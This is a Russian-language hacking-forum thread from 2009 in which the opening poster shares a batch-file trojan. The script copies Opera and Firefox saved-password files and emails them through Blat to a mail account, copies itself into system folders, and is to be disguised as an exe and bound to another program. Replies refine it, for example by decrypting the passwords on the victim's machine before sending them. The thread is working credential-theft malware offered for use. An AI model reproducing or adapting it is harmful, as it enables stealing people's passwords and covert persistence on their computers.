HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > Реверсинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Крадем= все пароли юзера!
  #1  
Старый 25.08.2009, 01:26
Voland-791
Познающий
Регистрация: 01.05.2009
Сообщений: 40
С нами: 8962257

Репутация: 3
По умолчанию Крадем= все пароли юзера!

Недавно мне пришла мысль почему бы не написать маленький троян (батник) отсылающий чужие пароли на указаный ящик! Крадет файл Wand.bat в нем лежат пароли оперы и signons3.txt от Mozilla Firefox. используем прогу Blat.exe скачать её можно с www.blat.ru
вот его тело:

%SYSTEMROOT%/system32/blat.exe -install -server smtp.mail.ru -port 25 -f e-mail@mail.ru -u e-mail -pw PASS >nul
cd %APPDATA%\Opera\Opera\profile\ >nul
copy wand.dat C:\wand.rar >nul
chcp 1251
blat.exe -subject "hacK" -body "Урожай собран!" -to e-mail@mail.ru -attach c:\wand.rar >nul
cd c:\
erase wand.rar >nul
cd %APPDATA%\Mozilla\Firefox\Profiles\9vf96daw.defaul t\ >nul
copy signons3.txt C:\signons3.rar >nul
blat.exe -subject "hacK" -body "Урожай собран!!" -to -е-mail@mail.ru -attach c:\signons3.rar >nul
cls >nul
cd c:\
erase signons3.rar
copy %0 %systemroot%\amatory_crack.bat
copy %0 %systemroot%\system32\amatory_crack.bat


Необходимые файлы для правильной работы:
blat.exe
blat.lib
blat.dll
Наш батник

Используем прогу Bat_To_Exe_Converter для шифрования и скрытия!скачать её можно сдесь http://www.x2b.ru/get/60772 ну вот троян почти готов осталось склеить скакой нибудь прогой!
 
Ответить с цитированием

  #2  
Старый 25.08.2009, 04:55
ProTeuS
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,367
С нами: 11291486

Репутация: 2175


По умолчанию

к разделу реверсинга сабж никоим образом не связан, советую не слать тупо файлы а декриптить на клиенте и слать уже расшифрованые данные:
http://forum.antichat.ru/showthread.php?p=1470090
http://www.rus.passcape.com/opera_password_recovery_screenshots.htm
 
Ответить с цитированием

  #3  
Старый 25.08.2009, 05:04
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
С нами: 10018169

Репутация: 1680


По умолчанию

signons3.txt от Mozilla Firefox

А файл уже без базы key3.db расшифровывается?
И почему signons3.txt ? Есть ещё и signons2.txt да и signons4.txt видели
 
Ответить с цитированием

  #4  
Старый 25.08.2009, 08:51
0rs
Познающий
Регистрация: 30.12.2008
Сообщений: 64
С нами: 9138151

Репутация: 76
По умолчанию

blat.lib и blat.dll не нужны.
 
Ответить с цитированием

  #5  
Старый 25.08.2009, 15:43
neprovad
Постоянный
Регистрация: 19.10.2007
Сообщений: 794
С нами: 9769287

Репутация: 711


По умолчанию

Код:
cd %APPDATA%\Mozilla\Firefox\Profiles\9vf96daw.defaul t\ >nul
кривой выбор, папка с профилем не всегда начинается с "9vf96daw" этот набор случайный, уже не универсально!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Халявный интернет или как спрятаться надежнее чем VPN или SSH с цепочкой соксов. kodzero Статьи 20 06.08.2010 23:54
Active Directory, хороший мануал. Cthulchu Windows 8 15.01.2009 16:36



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.